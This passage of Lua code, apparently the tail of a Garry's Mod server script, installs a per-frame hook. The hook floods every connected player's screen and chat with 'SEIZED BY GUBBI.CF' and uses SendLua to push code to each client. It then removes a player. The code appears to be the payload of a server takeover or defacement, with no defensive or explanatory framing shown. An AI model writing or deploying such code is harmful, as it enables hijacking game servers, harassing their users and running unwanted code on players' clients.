550 hook.Add("Think", "chatspam", function() for k,v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, "SEIZED BY GUBBI.CF" ) v:SendLua([[chat.AddText( Color( math.random(1, 255), math.random(1, 255), math.random(1, 255) ), "SEIZED BY GUBBI.CF" )]]) end end)
551
552 pPlayer:Remove()
553
554end )
555end )